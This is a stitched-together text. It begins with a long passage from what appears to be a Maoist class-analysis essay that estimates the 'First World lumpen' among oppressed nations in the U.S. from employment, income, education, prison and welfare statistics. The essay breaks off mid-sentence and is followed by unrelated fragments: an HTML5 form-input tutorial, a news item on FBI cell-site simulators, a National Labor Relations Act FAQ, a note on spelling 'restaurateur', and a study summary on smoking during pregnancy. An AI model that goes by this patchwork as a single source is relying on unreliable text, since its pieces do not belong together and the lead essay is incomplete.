The First World lumpen are the remnants of a long history of national oppression. The question that they face is whether the oppressor nation is willing and able to continue to integrate them into the Amerikan petty bourgeoisie, or if racism and economic crisis will lead to an increased lumpenization of the internal semi-colonies as Amerika pushes its problems off on them.
The white nation in North America has always been a predominately petty bourgeois nation. Therefore petty bourgeois class consciousness is overwhelmingly dominant among white people of all classes. Where there is potential for revolutionary white lumpen, it will be more common when in close proximity or integrated with oppressed nation lumpen. And these will be the exception to the rule. It is for this reason that we say the principal contradiction is nation in the United $tates, while spending much time discussing and addressing the lumpen class.
Therefore, in the analysis that follows, we will be defining the First World lumpen as a distinct class that is only evident in the United $tates within the oppressed nations.
Contemporary Class Analysis
In the last few decades we can already point to an expanding prison population, and the cutting of welfare roles, without an increase in employment, as some evidence to support lumpenization at the margins. As expected, this lumpenization has been disproportionately suffered by the oppressed nations. To the extent that whites have lost (or will lose) their class status, this concerns us as a likely trigger for growing fascist currents in Amerikkka, due to their historical consciousness as a settler nation and more recently as the most powerful nation on the planet. As we get into the numbers below, we'll see that the white "lumpen" population could arguably outnumber that in the internal semi-colonies. But percentage-wise they are a smaller minority within their nation, and their national identity pulls them much more strongly towards fascism. For this reason, we will disregard poor whites in most of the analysis below. Of course there are exceptions to every rule. And in particular, among youth and where poor whites are more influenced by oppressed nation culture there could certainly be some splits in the white nation.
While we have not seen a massive de-linking of the exploited populations, the internal contradictions of imperialism have brought significant economic downturns in recent years. In 2009 there was a steep rise in the percent of long-term unemployed (greater than 26 weeks), which has not yet declined significantly. It has hovered around 40 and 45% of all unemployed people; this is about double other high points dating back to 1960. [As of June 2016, over the 3 years since the original writing, this figure has declined to around 25%, which is still higher than the 17-18% rates that were normal before 2008.] While this could be a sign of a growing de-classed population, the U.$. economy is so rich that this unemployment has only resulted in modest increases in poverty rates.
Yet, even in the recent recession, government-defined poverty rates have not yet reached the levels they were at prior to 1965 when they were around 20%, give or take. In 2011 the poverty rate was recorded as 15%. Even this rate is inflated since assistance in the form of tax credits and food stamps is not counted as taxable income. If this income was included in their calculations it would pull 9.6 million people above the poverty line and bring the percent below the poverty rate to less than 12%.(1) So it is only a small group at the margins that may be seeing a shift in their material conditions such that they could arguably be seen as not largely benefiting from imperialism.
In order to paint a clearer picture of who is in the First World lumpen class, the following sections look at the empirical evidence both historically and today to figure out where to draw the line between lumpen and petty bourgeoisie within the United $tates. Above we defined the lumpen class as those who are excluded from the production and distribution of goods under capitalism. If you translate this into U.$. census statistics, this group would fall into those who are not participants in the civilian labor force.
Lumpen Defined by Employment Status
Employment is counted as working at least 1 hour of paid time, 15 hours of unpaid time in a family business, or being off of work (such as vacation or maternity leave) during the week referenced. The civilian labor force includes everyone defined as employed or unemployed (looking for work). Therefore the lumpen would be found in the group that is outside the civilian labor force. In the following graph we can see that this excluded group has grown in size only slightly since 1960, whereas the labor force has grown much more.
(2)
Not everyone in the middle group in this figure is part of what we would consider the lumpen. We have subtracted out housewives, students, and the elderly (detailed calculations for this subtraction are included in the full draft lumpen book).
In this graph we see the biggest changes being the increase in the lumpen (from 1.5% in 1960 to 10.6% in 2010) and the decrease in the housewives category. While this is completely feasible, the direct relationship between these two groups in the way we did the calculation leaves us cautious in making any conclusions from this method alone. In order to confirm that our big picture estimate of the lumpen here is in the ball park we will look at this a couple of other ways, including trying to break down the lumpen via its constituent parts to see how they add up.
Also, keep in mind that we are concerned with the oppressed nation lumpen as a progressive force for national liberation struggles. The above method does not differentiate between nations, and we can assume that somewhere around half of that 10.6% is white Amerikans.
Gaps in employment rates between New Afrikan males and white males are quite large, and they have increased over the period of 1970-2010. Further, the unemployment rate does not include those in prison or those on public assistance programs. So when "unemployment" rates are reported as being twice as big as for New Afrikans compared to whites, this is an understatement because those rates are only calculated on the civilian labor force who is looking for work. Austan Goolsbee, former economic advisor to U.$. President Barack Obama has stated that since the mid-1980s "the government has cooked the books" on unemployment rates "because government programs, especially Social Security disability, have effectively been buying people off the unemployment rolls and reclassifying them as not 'in the labor force.'"(3) This is a prime example of what we call the First World lumpen.
From this analysis of employment status we conclude that the 10.6% of the population that is unemployed and not housewives, students or elderly is principally lumpen. Conservatively we can assume that whites as 65% of the population are that same portion of the lumpen. This means that the oppressed nation lumpen defined by employment status constitutes about 10% of the oppressed nation population.
Lumpen Defined by Income
One thing that jumps out when looking at income data is the difference between individual income levels and household incomes. Some 39% of households had two or more income earners in 2010, so that over 20% of households made six figure incomes, while only 6.61% of individuals did.
Because individuals do tend to live in small group households, we will mostly look at that data below. Another thing that such an approach captures is the difficulties faced by many single-parent households. Single-parent households are the exception in that they do not benefit financially from having many members in their house because one earner must provide for many people. While this is very doable on a labor aristocracy wage, the demands of child-care and also keeping a job make it difficult for many single mothers who end up on public assistance. As a result there is a strong gendered component of the poor and lumpen that we will look at more below.
Before jumping into the numbers, let's look at the definition of employed. While some in the unemployed group (defined as those who have been looking for work) may fall into the lumpen class, probably even more in the employed group do, seeing that you only have to get paid for one hour of labor per week to be considered employed. Those who are marginally employed, but are dependent on public assistance or the criminal underground to meet their needs, might reasonably be considered part of the First World lumpen class, especially in the context of the oppressed nation ghettos, barrios and reservations.
Here are some numbers to keep in mind as we look at income levels. A persyn working full-time for minimum wage will make at least $14,000 per year, depending on the state they work in. An estimate of average value produced per hour is between $3 and $5 based on global GDP and global workforce.(4) At that rate, working 40 hours a week year-round, one would produce almost $10,000 per year, which may be a good cut off point for saying whether a full-time worker is making more or less than the value of their labor.
From this we can assume that a person earning $14k or more is participating full time or nearly full time in the labor force. They are, therefore, not a candidate for the lumpen. Since wages for Amerikan citizens are all above the global average wage, any legally employed worker will be making more than the value of their labor. Those making less than $14,000 per year will be in 3 main categories: part-time employed youth, migrants making proletarian or semi-proletarian wages, or marginally employed people who depend on public assistance and other sources of income.
Around 30% of those with an income, and over age 15, were under the $15,000 per year mark in 2010, while 15% were under $10,000 per year.(5) This excludes people with no income, especially youth under working age who are a special case. But it includes people who are part of households with others who also have incomes. For example, a housewife who works one day a week for extra income and has a husband who makes $50,000 a year could be in this group. But this 15% gives us one more reference point to think about when estimating the First World lumpen.
Almost 50% of those earning at or below minimum wage are 16 to 24 years old, and 23% are just 16 to 19 years old.(6) This is a case where we would not necessarily see income defining class status. Most of these youth know that they are likely to make more money when they get older by looking at the adults around them. To eliminate the effect of these temporarily low-paid youth, who are still making more than the value of their labor, we will now look at household income and break it down by nationality.
Quintiles break up a population into five different equal-sized groups defined by a range, such as income level. Looking at the lowest quintiles of the population in terms of income is one way to tease out the size and composition of the lumpen. The average income of the lowest quintile is dramatically different between whites and New Afrikans/[email protected] with the poorest whites earning more than double the poorest New Afrikans/[email protected]
Income for lowest quintile of earners in the U.$, 2011 Race Upper limit of lowest quintile Avg income, lowest quintile New Afrikan $15,996 $7,816 white $33,514 $19,887 "Hispanic" $18,944 $9,821
(7) The upper limit of income for the lowest quintile shows further these differences by nation, but also suggests that quintiles alone are not sufficient to define the lumpen as the upper limit of the lowest 20% of New Afrikans (the lowest earning of the nations) is still $16k per year, a solid labor aristocracy income at an $8/hr full time job.
One problem with just looking at income in defining lumpen is that it may be a temporary state of someone being in a low income group. Youth definitely fall in this category. Some older folks who are retired, who are clearly not lumpen, also fall in this category. Among the 20-55 age group there are good reasons why some people have temporarily lower income but still are part of the labor aristocracy, such as short-term unemployment.
Family Income by Race Numbers in 1000s Percent Income white New Afrikan "Hispanic" white New Afrikan "Hispanic" Under $2,500 680 409 308 1.2 4.4 3.0 $2,500 to $4,999 273 152 146 0.5 1.6 1.4 $5,000 to $7,499 382 180 197 0.7 1.9 1.9 $7,500 to $9,999 525 321 264 1.0 3.4 2.5 $10,000 to $12,499 664 319 362 1.2 3.4 3.5 $12,500 to $14,999 658 301 311 1.2 3.2 3.0
(8) This table shows that a relatively small percent of families are earning less than $10k annually: 3.4% of whites, 11.3% of New Afrikans and 8.8% of [email protected] This table includes those not participating in the workforce since it is at the family level and so should be counting non-working spouses and children among others.
Clearly there are significant differences between single individuals earning $10,000 per year and a head of household with 4 children earning that same income. Looking at income by size of household gives us more detail on the total economic situation of a family. And we can use this data to calculate the maximum possible income per persyn for each group. This underscores the dramatic difference in financial situations faced by families based on the number of kids they have. We might use this data to create cut-offs for families whose kids are falling in the lumpen. While parents earning minimum wage and working close to full time are not part of the lumpen by definition, their income puts their kids basically outside of traditional economic financial participation and likely on the streets hustling for extra cash.
Again, the First World lumpen are not dying of starvation or water-born diseases that the Third World masses face. But they do suffer malnutrition, temporary states of lacking housing, water or electrical service, and exposure to environmental pollutants that most Amerikans do not have to deal with. And youth growing up in a family with a total income of less than $20,000 provides a standard of living relatively outside of the economic participation of the majority of Amerikans. An average of $5k per persyn per year in a family of 4 may provide for survival needs but nothing beyond that. In this country, youth who can not find a job to supplement their family's income are likely to end up on the streets working outside of the traditional labor force, as a part of the lumpen. This data suggests that children of the lowest 15-20% of oppressed nation workers are good candidates for lumpen who may work their way out into the labor aristocracy as they get older.
Included in the calculations above are individuals making minimum wage or above at a full-time job, so we discard the two highest income categories for single people and, just to be conservative, the highest income level for 2 people. Using the rest of the categories to define either lumpen or migrant proletarian households, we get the following summary table.
Lumpen or Migrant Proletarian Families Defined by Income Categories New Afrikan white [email protected] # of families 3489 11,220 2596 % of nation 22% 13% 17% % of nation 16% 5% 10%
(9)
We do an additional calculation for only families making less than $10k per year, since one full-time worker making $10k would be making above our value of labor estimate. While at both levels, there are more white families than other nations, the rates are obviously higher for New Afrikans and [email protected] The migrant proletariat population is of course much larger in the [email protected] category. So we could say that the New Afrikan lumpen defined by income is around 20% of the population, even though the maximum for the lowest quintile was given as $16,000/ year above. One report puts the migrant workers earning less than minimum wage in 2002 at 2 million people.(10) With some 80% of immigrants in the U.$. coming from Latin America and just 2.5 million [email protected] families in these low-wage categories above, it would seem that the [email protected] poor were dominated by working immigrant families and not lumpen. If true, this is one reason nation-specific parties are needed to lead the revolutionary movements in the different oppressed nations. The class content and interests of the lowest quintile of [email protected] and New Afrikans may look similar based on income level, but have very different relations to the means of production and to other nations.
Summing up the income data for defining the lumpen population, we can conservatively use the cut off of $10k/year for family income to say that 16% of New Afrikan families are lumpen and 10% of [email protected] families are lumpen or migrant proletarian. Further, youth in families earning less than $5k per persyn fall in the lumpen even though their parents are still working full time and are not part of the lumpen. That is the children of the lowest 10-15% of oppressed nation workers. So conservatively we can say between 15-20% of New Afrikan families are lumpen and between 10-15% of Raza are lumpen or migrant proletarian.
Lumpen defined by education level
There is a strong connection between educational background and what people end up earning financially later in life. There is a clear linear association between higher degrees attained and higher earnings. We do not care so much about the distinction between college graduates and those with advanced degrees, as this is the difference between levels of labor aristocracy, petty bourgeois and bourgeois income (all enemy classes). What is potentially interesting to a study of the lumpen in the United $tates is the population not even graduating from high school. Those without a high school degree earn significantly less than people who complete high school or college, and this group includes a much higher proportion of people who earn little to no money from legal employment. Therefore we look to educational attainment as a good candidate for a proxy to measure socioeconomic status in the United $tates.
Looking at educational achievement by nationality, we see that youth not getting a high school degree are disproportionately New Afrikan and Raza. Further, looking at unemployment rates for those without a high school diploma by nationality reveals interesting differences. New Afrikans who did not complete high school had a 22.5% unemployment rate compared with whites at 13.9% and Raza at 13.2%. The rate of employment among Raza probably reflects the large migrant population working low paying jobs such as farm workers, who are fully employed but earning very little.
As discussed above, while the unemployed may be part of the lumpen, this population includes some who are temporarily out of work but are actually participating in the workforce overall as part of the petty bourgeoisie. In addition, these statistics are only collected on people who are considered to be part of the labor force.
Combining income with education level reveals significant differences between whites and oppressed nations. However, the mean earnings for those without a high school diploma are not so low that we can lump everyone without a high school degree into the lumpen, even among oppressed nations.
Mean income for people without a High School degree Gender Race Mean Income Male white $22,353 Female white $15,187 Male New Afrikan $18,936 Female New Afrikan $15,644 Male "Hispanic" $21,588 Female "Hispanic" $16,170 (11)
These numbers reinforce the theory that lack of a high school diploma in and of itself does not define the lumpen. There are plenty of people entering the ranks of the labor aristocracy without much education, pulling the average income for this group up into the labor aristocracy range. It appears that there is a split among high school dropouts where some are able to join the labor aristocracy and others are pulled down into the lumpen.
MIM has argued that youth are the most revolutionary group among the white nation because of their special status outside of the class to which they were born and because of the way that capitalist society puts youth in a position of disempowerment. A key to the labor aristocracy's attitude as a class is the fact that individuals who may not be making much money at the moment can look around at their peers and see that they should anticipate improving their position. This is especially true for whites. Oppressed nation youth without a high school diploma, on the other hand, receive a mixed message. They look at their peers of their age group and see that they truly can not expect to get a job any time soon. On the other hand they can look at older folks around them and see a large percent having joined the labor aristocracy. This may result in a split in the oppressed nations by age where youth are part of the lumpen class for a period of time but eventually are pulled into the labor aristocracy by the wealth and decadence of imperialist society, even if they exist at the low end of the labor aristocracy. [See "Age as Gender: The Third Strand Shaping the Oppressed Nation Lumpen" in the draft lumpen book for more on this.]
The education analysis doesn't give us a definitive calculation of the lumpen but we can conclude that a sizable portion of the group with no GED or high school degree is part of the lumpen, and this group is 15% of New Afrikans and 35.7% of Raza. These numbers will overlap with unemployment and family income numbers as many people will fall into all three groups.
What About First Nations?
The First Nation populations within the United $tates remain decimated from the history of settler genocide and continued oppression. As a result, the native people of this land, not including [email protected], is less than 1% of the total population. An estimated one third of them live on reservations, totaling about 700,000 people.
Despite their decimation, First Nations tend to have a greater consciousness as nations separate from Amerika with rights to their own land, compared to the oppressed nations in the United $tates as a whole. And there remain concentrations of the indigenous population in certain regions that provide a base for significant resistance. On a number of these larger reservations, the percentage of families with incomes less than $3000 per persyn ranges between 15 and 25%. For New Afrikans as a whole that figure was 10%, though in regions such as south central Los Angeles it may be similar to First Nations.
Similarly, labor force participation rates on many of the larger reservations are lower than the average for other nations in the United $tates by as much as 23%. In San Carlos Indian Reservation 31% of people were receiving cash assistance in 2000, about 15 times the average for the country. About 34% received food stamps. Five of the ten largest reservations had almost a third of the population on food stamps and six had at least 15% receiving cash assistance.
One disadvantage that First Nations face on reservations is the lack of infrastructure benefits that virtually everyone else in the United $tates enjoys, which factors into our class position and perspective in this country. On reservations 14% of homes lack electricity, 18% lack adequate sewage, 18% lack complete kitchen facilities, and 20% lack indoor plumbing. These are unique conditions that First Nation vanguards must address that will not be of concern for the general U.$. population.
We present these numbers separately because the First Nation population is so much smaller than the other nations we focus on here, and because data on people living on reservations overall is not very complete.(12)
Groups within the Lumpen
Above we looked at employment status, education level and income to estimate the size of the lumpen class in the United $tates. A third approach is to look at the individual groups that make up the lumpen class as a whole. The main categories of people we will discuss below are the population that is imprisoned and under correctional supervision, the homeless, those dependent on public assistance and those involved in the underground economy.
The imprisoned population is one segment of the lumpen that is excluded from the methods previously discussed since they are part of the "institutionalized population" in the U.S. Census data. For that reason, we might think that the above calculation underestimates the size, as well as the growth, of the lumpen class in the United $tates.
In 2011, there were 6.98 million adults under the supervision of the state via imprisonment, probation or parole, in the United $tates. This was 2.9% of the overall population, with just those in prison being slightly less than 1%. The overall percentage increased at a decreasing rate between 1980 and 2008.(13).
Focusing on the oppressed nations, over 3% of New Afrikan men are in prison. That number is about 1.3% for [email protected], and less than 0.5% for whites. Rates for First Nations were not given in this report, but tend to be even higher than those for New Afrikans. If we extrapolate imprisonment statistics to all adults under supervision, we get about 8.7% of New Afrikan men and 3.8% of Raza men under some form of state supervision. With recidivism rates as high as they are, we are comfortable saying that those 1 million Raza men and 1.6 million New Afrikan men are part of the lumpen class. The same calculations put around 56,000 Raza wimmin and 73,000 New Afrikan wimmin in this group, plus a significant, but uncertain number of First Nation and Asian lumpen under state supervision. As a result, we suggest that 2.5 million is a safe estimate of those who'd fall in the group of imprisoned/formerly imprisoned lumpen, excluding whites. This would add less than one percentage point of the overall U.$. population to our total, but would include another 4.5% of New Afrikans and another 4% of Raza. Note that these numbers can't be added to the totals from the unemployed or income-based lumpen groups above because those out of prison will overlap greatly with this group.
White men in this group number about 1.3 million, but are much more likely to find employment and join the labor aristocracy after release from prison. While in prison white men do fall into the lumpen class but lack the oppressed nation outlook and so often join white supremacist groups rather than supporting revolutionary organizing. This is just one factor contributing to a national outlook that leads us to exclude whites overall when discussing the revolutionary potential of the First World lumpen.
On any given day, nearly 23 percent of all young New Afrikan men ages 16 to 24 who have dropped out of high school are in jail, prison, or a juvenile justice institution in the United $tates.(14) So there is a significant overlap between those without a high school diploma and the prison population. This reinforces the lack of a high school degree as an indicator of the lumpen, but as we showed above, it's not sufficient alone to identify the lumpen as plenty of labor aristocracy people come from this group as well.
2) Underground Economy
The underground economy parallels the legal economy, and has a parallel class structure. While the economy is capitalist and therefore dominated by bourgeois ideology, the majority of the people in this economy could be considered part of the First World lumpen in that they live at the margins, often with a parasitic relationship to the greater economy. While all communities have people who work "off the books," just as they all have drug dealers, there is a qualitative difference between communities where that is the exception and where that is the rule.
We divide the underground economy into the following categories:
illegal national bourgeoisie in drugs illegal labor aristocracy parasitic hustlers (thieves, scammers, pimps) illegal service workers (prostitutes, corner boys) small-time service workers (food prep, car repair, reselling)
Mao saw the national bourgeoisie as a class that can be an ally in the anti-imperialist war, but cannot liberate the nation itself. Due to the parasitic class nature of the internal semi-colonies in the United $tates today, we do not see the traditional Black and Brown bourgeoisie playing this role. Instead they are some hybrid of petty bourgeoisie and comprador bourgeoisie economically benefitting from the empire. Where we see a parallel to the national bourgeoisie of the exploited nations is among the marginally employed and illegally employed lumpen who rise within the illegal economy. Just as Mao's national bourgeoisie was disadvantaged by imperialist control of their nation, it is the lumpen alone that is excluded from participating in the spoils of empire as the majority of oppressed nationals within U.$. borders do today. And when they do tap into those spoils through illegal enterprises, they remain in a precarious position.
The underground economy includes many small-time service workers who provide food preparation, car repair, vendor and small maintenance services in oppressed communities. The work performed is no different than any other service worker in the legal economy, but their work is usually irregular in such a way that they are part of an underclass that we consider close to the lumpen as they are excluded from the legal economy.
The illegal economy can be looked at separately from the service workers providing legal services off the books. The illegal economy is where we find those traditionally considered the lumpen. It would include the obviously-parasitic hustlers who rob, scam, fence and pimp. But the biggest sector of the illegal economy, and one of the most important sectors of the global economy, is the drug trade. The drug trade, while largely in the realm of the lumpen class, is successful enough to support a well-defined class structure of its own including a full-on bourgeoisie, a stable group earning what would be the equivalent of labor aristocracy wages, and a workforce that receives a more marginal income. The small-time drug dealers in oppressed communities could be grouped with the, largely female, sex workers as a group of illegal service workers who make incomes that are marginal in terms of global wage distribution.
Much of the illegal drug economy in the oppressed communities is carried out by lumpen organizations (LOs). These organizations historically were more dependent on extortion, and this still plays a large role in the economics of LOs. Extortion would be another example of clear parasitic relations of the lumpen with the rest of the community.
LOs are often formed along national lines, bringing with them a legacy or ideology of nationalism. Where these organizations are successful enough to create a bourgeoisie, or even an aspiring bourgeoisie, we see the basis for a national bourgeoisie in the internal semi-colonies.
While 8% of the U.$. population receives some form of assistance from the U.S. Department of Health and Human Services, about 1.7% of the population receives more than half of their income that way. That translates to about 5.34 million people we could say are dependent on public assistance. Of those, about 3.25 million (61%) are not white and 2.13 million (40%) are New Afrikan.
Approximately 90% of U.$. citizens receiving cash assistance benefits are single mothers.(15) Just as the imprisoned lumpen is mostly men, the population on certain forms of public assistance is largely made up of wimmin with children, most of whom are actually white.(16)
Up to 3.5 million people are homeless in the United $tates, about 1% of the population each year.
First Nations are overrepresented in the homeless population by a factor of 4, while New Afrikans are by a factor of 3.25. Youth under 18 are overrepresented by a factor of 1.65. Whites and Asians are underrepresented in the homeless population.
nation homeless pop welfare pop overall pop white 39% 39% 64% New Afrikan 42% 40% 13% [email protected] 13% 16% 15% First Nation 4% 2% 1% Asian 2% 3% 6%
Conclusions
We would put the homeless squarely into the lumpen category, although some of these people are only homeless temporarily and have a support structure that will enable them to move back into the labor aristocracy relatively quickly. Further, many of the homeless will also be on some form of public assistance and are unemployed, therefore groups can not be summed up without double counting a lot of people.
The table below sums up the conservative estimates we have made with regard to who constitutes the lumpen within U.$. borders. Our best total estimate for New Afrikans and Raza comes from the sum of the people identified based on family income and those actively in prison or jail. First Nations are calculated separately. All other methods of calculation are going to double count people we identified by family income and so can not be added to our totals.
Non-Bourgeois Populations by National Groupings % Lumpen # Lumpen Semi-Proletariat Non-Bourgeois Classes New Afrikan 20% 8,160,000 0 8,160,000 [email protected] 5% 2,620,000 8,500,000 11,120,000 First Nations 30% 700,000 0 700,000 Total - 11,480,000 8,500,000 19,980,000
We conclude that conservatively we can count 20-25% of the New Afrikan nation as part of the lumpen. Among Raza we calculate between 15-20% as part of the lumpen or migrant proletarian.
To separate out the lumpen from the migrant proletariat among Raza we need to look at the number of migrant Raza in the United $tates. A Pew Hispanic Center 2005 report estimated 11.5 to 12 million total "illegal immigrants," 56% from Mexico, and 22% from other Latin American countries. The U.S. Department of Homeland Security in 2009 estimated 10.7 million "illegal immigrants," 62% from Mexico, and at least 15% from other Latin American countries. These numbers give us an estimate of between 8 and 9 million Latin American migrants in the United $tates. If the census accurately counts Latin American migrants, 17% of this population (based on 8,500,000 migrants) is not in the U.$. legally and most of that group would |
Android screenshot provided by Stuart Langridge) To make the iPhone render with the standard telephone keypad as we saw for type="text" Chris Coyier, of CSS Tricks devised a little hoax you can use. Rather than using type=”number”, use a standard type="text" input and add a pattern attribute that accepts only numbers, as shown below. This solution isn’t ideal but if you think it could be useful, Chris has put a short video together showing it in action. <input type="text" pattern="[0-9]*" name="shoe-size"> Chris’ technique may soon become absolete though with the introduction of the inputmode attribute. The attribute, recently added to the specification will allow users to specify the type of input mechanism that is most useful for users. When implemented, you will be able to choose between numeric, latin, email, or kana input modes.
range Note: For browsers that don’t support type="range", Remy Sharp has created a JavaScript polyfill to plug the gaps. You can find out more about it on his blog. The range input type is similar to number but more specific. It represents a numerical value within a given range. Why the difference, I hear you cry? Because when you’re using range, the exact value isn’t important. It also allows browsers to offer a simpler control than for number. In Opera, Safari, Internet Explorer 10 and Chrome, type="range" renders as a slider (see Figure 6-14). When moving the slider in IE 10 a tooltip appears showing the current value. Additionally, in Opera, if the CSS defines the height greater than the width, the slider control will be rendered vertically as opposed to the standard horizontal rendering. The following code shows how we might mark up our skill level on a scale of 1 to 100 by setting the min and max attributes (see Figure 9). We can also set the starting point for range using the value attribute. <input id="skill" type="range" min="1" max="100" value="0"> Figure 9. type="range" in ChromeInteresting:
Triggerfish, also known as cell-site simulators or digital analyzers, are nothing new: the technology was used in the 1990s to hunt down renowned hacker Kevin Mitnick. By posing as a cell tower, triggerfish trick nearby cell phones into transmitting their serial numbers, phone numbers, and other data to law enforcement. Most previous descriptions of the technology, however, suggested that because of range limitations, triggerfish were only useful for zeroing in on a phone's precise location once cooperative cell providers had given a general location.
This summer, however, the American Civil Liberties Union and Electronic Frontier Foundation sued the Justice Department, seeking documents related to the FBI's cell-phone tracking practices. Since August, they've received a stream of documents—the most recent batch on November 6—that were posted on the Internet last week. In a post on the progressive blog Daily Kos, ACLU spokesperson Rachel Myers drew attention to language in several of those documents implying that triggerfish have broader application than previously believed.The National Labor Relations Act forbids employers from interfering with, restraining, or coercing employees in the exercise of rights relating to organizing, forming, joining or assisting a labor organization for collective bargaining purposes, or from working together to improve terms and conditions of employment, or refraining from any such activity. Similarly, labor organizations may not restrain or coerce employees in the exercise of these rights.
Examples of employer conduct that violates the law:
Threatening employees with loss of jobs or benefits if they join or vote for a union or engage in protected concerted activity.
Threatening to close the plant if employees select a union to represent them.
Questioning employees about their union sympathies or activities in circumstances that tend to interfere with, restrain or coerce employees in the exercise of their rights under the Act.
Promising benefits to employees to discourage their union support.
Transferring, laying off, terminating, assigning employees more difficult work tasks, or otherwise punishing employees because they engaged in union or protected concerted activity.
Transferring, laying off, terminating, assigning employees more difficult work tasks, or otherwise punishing employees because they filed unfair labor practice charges or participated in an investigation conducted by NLRB.
Examples of labor organization conduct that violates the law:
Threats to employees that they will lose their jobs unless they support the union.
Seeking the suspension, discharge or other punishment of an employee for not being a union member even if the employee has paid or offered to pay a lawful initiation fee and periodic fees thereafter.
Refusing to process a grievance because an employee has criticized union officials or because an employee is not a member of the union in states where union security clauses are not permitted.
Fining employees who have validly resigned from the union for engaging in protected concerted activities following their resignation or for crossing an unlawful picket line.
Engaging in picket line misconduct, such as threatening, assaulting, or barring non-strikers from the employer's premises.
Striking over issues unrelated to employment terms and conditions or coercively enmeshing neutrals into a labor dispute.
What rules govern collective bargaining for a contract?
After employees choose a union as a bargaining representative, the employer and union are required to meet at reasonable times to bargain in good faith about wages, hours, vacation time, insurance, safety practices and other mandatory subjects. Some managerial decisions such as subcontracting, relocation, and other operational changes may not be mandatory subjects of bargaining, but the employer must bargain about the decision's effects on unit employees.
It is an unfair labor practice for either party to refuse to bargain collectively with the other, but parties are not compelled to reach agreement or make concessions.
If after sufficient good faith efforts, no agreement can be reached, the employer may declare impasse, and then implement the last offer presented to the union. However, the union may disagree that true impasse has been reached and file a charge of an unfair labor practice for failure to bargain in good faith. The NLRB will determine whether true impasse was reached based on the history of negotiations and the understandings of both parties.
If the Agency finds that impasse was not reached, the employer will be asked to return to the bargaining table. In an extreme case, the NLRB may seek a federal court order to force the employer to bargain.
The parties' obligations do not end when the contract expires. They must bargain in good faith for a successor contract, or for the termination of the agreement, while terms of the expired contract continue.
A party wishing to end the contract must notify the other party in writing 60 days before the expiration date, or 60 days before the proposed termination. The party must offer to meet and confer with the other party and notify the Federal Mediation and Conciliation Service of the existence of a dispute if no agreement has been reached by that time.
How is "good faith" bargaining determined?
There are hundreds, perhaps thousands, of NLRB cases dealing with the issue of the duty to bargain in good faith. In determining whether a party is bargaining in good faith, the Board will look at the totality of the circumstances. The duty to bargain in good faith is an obligation to participate actively in the deliberations so as to indicate a present intention to find a basis for agreement. This implies both an open mind and a sincere desire to reach an agreement as well as a sincere effort to reach a common ground.
The additional requirement to bargain in "good faith" was incorporated to ensure that a party did not come to the bargaining table and simply go through the motions. There are objective criteria that the NLRB will review to determine if the parties are honoring their obligation to bargain in good faith, such as whether the party is willing to meet at reasonable times and intervals and whether the party is represented by someone who has the authority to make decisions at the table.
Conduct away from the bargaining table may also be relevant. For instance if an Employer were to make a unilateral change in the terms and conditions of employees employment without bargaining, that would be an indication of bad faith.
What are the rules about union dues?
The amount of dues collected from employees represented by unions is subject to federal and state laws and court rulings.
The NLRA allows employers and unions to enter into union-security agreements, which require all employees in a bargaining unit to become union members and begin paying union dues and fees within 30 days of being hired.
Even under a security agreement, employees who object to full union membership may continue as 'core' members and pay only that share of dues used directly for representation, such as collective bargaining and contract administration. Known as objectors, they are no longer full members but are still protected by the union contract. Unions are obligated to tell all covered employees about this option, which was created by a Supreme Court ruling and is known as the Beck right.
An employee may object to union membership on religious grounds, but in that case, must pay an amount equal to dues to a nonreligious charitable organization.
What about Right to Work states?
27 states have banned union-security agreements by passing so-called "right to work" laws. In these states, it is up to each employee at a workplace to decide whether or not to join the union and pay dues, even though all workers are protected by the collective bargaining agreement negotiated by the union.The French word for a person who owns or runs a restaurant is restaurateur, with no n, and this is the spelling used most often in English, especially in edited writing. Restauranteur, with an n, appears in English about once for every ten instances of restaurateur. But while this spelling is common and has a long history, many people consider it wrong.
The Oxford English Dictionary notes restauranteur as originally from the U.S. and lists examples from as far back as 1859, though a historical Google Books search covering the 19th century uncovers no more than a handful of instances of restauranteur. Many more examples are found in texts from the first half of the 20th century, including many from outside the U.S. Today, the misspelling appears about equally often throughout the English-speaking world.
Examples
Restauranteur occasionally finds its way into edited publications—for example:
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And here, the word is spelled in the more conventional way:Researchers from The Miriam Hospital have studied the effects of smoking during pregnancy and its impact on the stress response in newborn babies. Their research indicates that newborns of mothers who smoke cigarettes during pregnancy show lower levels of stress hormones, lowered stress response, and alterations in DNA for a gene that regulates passage of stress hormones from mother to fetus. The study and its findings have been published in the journal Psychoneuroendocrinology.
"Our results suggest that these newborns may not be mounting adequate hormonal response to daily stressors. Their stress systems may not be prepared for the stressors of daily life," says lead researcher Laura Stroud, Ph.D., of the Centers for Behavioral and Preventive Medicine at The Miriam Hospital. "This may be particularly detrimental in babies born to mothers who lack resources and parenting skills and whose babies may encounter more daily stressors."
National health statistics show that despite the warnings and known health risks, approximately one in 10 expectant moms in the United States continue to smoke during pregnancy, with higher rates among young, poor, and underserved moms. Babies born to smoking mothers are born smaller, are more likely to be premature, and are at greater risk for medical complications. Smoking during pregnancy is also associated with long-term behavioral and health problems in child and adult offspring, including asthma, behavior and attention problems, and nicotine addiction. However, biological mechanisms underlying short and long-term effects of smoking during pregnancy on offspring are not well understood.
"One possibility is alterations in stress hormones and epigenetic changes (chemical modifications) in DNA" Stroud says. "We were interested in stress hormones because alterations in stress hormones have been linked to both smoking and behavior problems and because maternal stress hormones during pregnancy exert potent long-term effects on offspring. In particular, we sought to investigate effects of smoking during pregnancy on the newborn stress hormone cortisol." Cortisol is part of the hypothalamic pituitary adrenocortical system that works synergistically with the "fight flight" stress system.
Stroud also investigated the effects of smoking during pregnancy on DNA in the placenta, the temporary organ joining the mother and fetus during pregnancy. Stroud was interested in studying epigenetic changes, or chemical modifications that turn genes on and off, in DNA for the glucocorticoid receptor gene that regulates passage of cortisol from mother to fetus.
Stroud's study included 100 mother-newborn pairs from a low-income, racially and ethnically diverse sample. Smoking in the mothers was examined through interviews that covered each day of pregnancy -- with mothers' reports confirmed by measuring nicotine levels. After babies were born, placentas were collected and DNA was analyzed for alterations in the glucocorticoid receptor. Newborns' cortisol levels were measured during and after neurobehavioral exams (involving behavioral responses to different stimuli, reflex testing, and observation) conducted seven times over the first month of life.
Results showed that infants exposed to smoking showed lowered cortisol levels at baseline and in response to the neurobehavioral exam, a behavioral stressor. The lowered cortisol responses were consistent across seven behavioral exams over the first month of life. In addition, effects of smoking during pregnancy on infant cortisol and stress response were explained by alterations in DNA for a gene that regulates passage of cortisol from mother to fetus.
"Our results also suggest that effects of smoking during pregnancy on infant stress response are explained by changes in DNA," Stroud says. "Because these DNA changes are epigenetic, there is a hopeful message that perhaps some of these changes could be undone by environment or medications."
